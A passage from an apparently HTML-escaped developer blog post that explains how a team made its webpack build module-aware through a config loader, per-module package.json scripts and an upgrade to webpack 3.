punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; arg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;--env.module&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; env&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; targetModules &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// If match fould, spilt so that exact value can be extracted like &apos;build&apos;/&apos;local&apos;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;envArgv &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; envArgv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; env &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; envArgv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;=&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;targetModuleArgv &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; targetModuleArgv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; targetModules &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; targetModuleArgv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;=&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; env&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; targetModules &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We tweaked our main &lt;code class=&quot;language-text&quot;&gt;webpack.config.js&lt;/code&gt; to make it module-aware.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.config.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; targetModules &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/webpack.env&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;targetModules&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;executeWebpackConfig&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; devtool&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;devtool &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;devtool &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;source-map&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; entry&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;entry&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; output&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;output&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; module&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resolve&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;resolve&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; plugins&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;plugins &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Module specific configuration files&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; multipleConfigs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;targetModules&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; modules &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; targetModules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; modules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;modules&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleA&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleA-tasks/webpack.moduleA&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleA-tasks/webpack.moduleA.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;modules&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleB&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleB-tasks/webpack.moduleB&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleB-tasks/webpack.moduleB.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;modules&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleC&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleC-tasks/webpack.moduleC&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;modules&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleD&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleD-tasks/webpack.moduleD&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleD-tasks/webpack.moduleD.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; multipleConfigs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleA-tasks/webpack.moduleA-main&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleA-tasks/webpack.moduleA.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleB-tasks/webpack.moduleB&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleB-tasks/webpack.moduleB.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleC/webpack.moduleC&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleD-tasks/webpack.moduleD&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/moduleD-tasks/webpack.moduleD.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;executeWebpackConfig&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;config&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;In our &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt; file, we created different scripts for running either a development build or production-ready build(minification, cache-busting, and purification) and either to run build for all modules or for just selective modules.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: package.json&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;install&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;yarn install --ignore-scripts&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --optimize-minimize --bail --env.mode=build&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --watch --env.mode=dev --display-error-details&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev-nowatch&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --env.mode=dev --display-error-details&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev-moduleA&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --watch --env.mode=dev --env.modules=moduleA&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev-moduleB&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --watch --env.mode=dev --env.modules=moduleB&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev-moduleC&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --watch --env.mode=dev --env.modules=moduleB&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev-moduleAB&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --watch --env.mode=dev --env.modules=moduleA,moduleB&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev-moduleBC&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --watch --env.mode=dev --env.modules=moduleB,moduleC&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dev-moduleAC&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webpack --progress --colors --watch --env.mode=dev --env.modules=moduleA,moduleC&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lint&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;eslint &apos;src/**/*.js&apos; --cache --config .eslintrc --ignore-path .eslintignore&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lint-fix&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;eslint &apos;src/**/*.js&apos; --fix --cache --config .eslintrc --ignore-path .eslintignore&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;upgrading-to-code-classlanguage-textwebpack3code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#upgrading-to-code-classlanguage-textwebpack3code&quot; aria-label=&quot;upgrading to code classlanguage textwebpack3code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Upgrading to &lt;code class=&quot;language-text&quot;&gt;Webpack@3&lt;/code&gt;&lt;/h3&gt; &lt;p&gt;According to &lt;em&gt;Sean T. Larkin&lt;/em&gt; in the &lt;a href=&quot;https://medium.com/webpack/webpack-3-official-release-15fd2dd8f07b&quot;&gt;release blog post&lt;/a&gt;: &quot;webpack 3: Official Release!!&quot;, migrating from webpack 2 to 3 should involve no effort beyond running the upgrade commands in your terminal. We are using &lt;code class=&quot;language-text&quot;&gt;Webpack@3.6.0&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;yarn@1.0.2&lt;/code&gt; now :)&lt;/p&gt; &lt;h3 id=&quot;last-but-not-the-least---stepping-towards-a-long-journey&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#last-but-not-the-least---stepping-towards-a-long-journey&quot; aria-label=&quot;last but not the least stepping towards a long journey permalink&quot; class=&quot;anchor 